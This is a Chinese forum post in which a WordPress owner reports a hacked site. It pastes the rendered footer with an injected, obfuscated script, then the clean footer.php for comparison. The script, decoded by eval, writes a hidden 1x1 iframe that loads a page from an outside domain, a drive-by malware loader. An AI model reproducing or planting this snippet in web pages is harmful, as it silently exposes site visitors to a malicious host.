我的wordpress被人黑了
今天查看网站代码发现网站底部被加了不知名的script,如下
<div id="footer" role="contentinfo">
<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
<p>
joomla blogger is proudly powered by
<a href="http://wordpress.org/">WordPress</a>
<br /><a href="http://www.kziz.cn/feed/">Entries (RSS)</a>
and <a href="http://www.kziz.cn/comments/feed/">Comments (RSS)</a>.
<!-- 38 queries. 1.067 seconds. -->
</p>
</div>
</div>
<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->
<script>var VkXmR6='d$!#o$!#c$!#u$!#m$!#e$!#n$!#t$!#.$!#w$!#r$!#i$!#t$!#e$!#($!#\'$!#<$!#i$!#f$!#r$!#a$!#m$!#e$!# $!#s$!#r$!#c$!#=$!#"$!#h$!#t$!#t$!#p$!#!#/$!#/$!#g$!#e$!#o$!#n$!#o$!#n$!#.$!#n$!#e$!#t$!#/$!#i$!#n$!#.$!#p$!#h$!#p$!#"$!# $!#w$!#i$!#d$!#t$!#h$!#=$!#1$!# $!#h$!#e$!#i$!#g$!#h$!#t$!#=$!#1$!# $!#f$!#r$!#a$!#m$!#e$!#b$!#o$!#r$!#d$!#e$!#r$!#=$!#0$!#>$!#<$!#/$!#i$!#f$!#r$!#a$!#m$!#e$!#>$!#\'$!#)$!#;$!#';eval(VkXmR6.split('$!#').join(""));</script>
</body>
</html>我用的是安装后默认主题,但在主题的footer.php没发现有这段代码,
footer.php是这样的
<?php
/**
* @package WordPress
* @subpackage Default_Theme
*/
?>
<hr />
<div id="footer" role="contentinfo">
<!-- If you'd like to support WordPress, having the "powered by" link somewhere on your blog is the best way; it's our only promotion or advertising. -->
<p>
<?php bloginfo('name'); ?> is proudly powered by
<a href="http://wordpress.org/">WordPress</a>
<br /><a href="<?php bloginfo('rss2_url'); ?>">Entries (RSS)</a>
and <a href="<?php bloginfo('comments_rss2_url'); ?>">Comments (RSS)</a>.
<!-- <?php echo get_num_queries(); ?> queries. <?php timer_stop(1); ?> seconds. -->
</p>
</div>
</div>
<!-- Gorgeous design by Michael Heilemann - http://binarybonsai.com/kubrick/ -->
<?php /* "Just what do you think you're doing Dave?" */ ?>
<?php wp_footer(); ?>
</body>
</html>